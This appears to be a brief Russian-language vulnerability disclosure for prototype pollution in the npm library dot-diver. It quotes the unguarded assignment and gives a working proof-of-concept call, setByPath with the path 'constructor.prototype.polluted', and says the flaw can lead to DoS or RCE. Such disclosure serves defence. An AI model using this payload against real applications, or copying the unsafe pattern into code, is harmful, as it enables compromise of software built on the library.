
pp
Это уязвимость типа Prototype Pollution (PP) в dot-diver. Она может привести к RCE.
уязвимый код
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
//eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
poc
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
Это Prototype Pollution (PP) и может привести к DoS, RCE и т.д.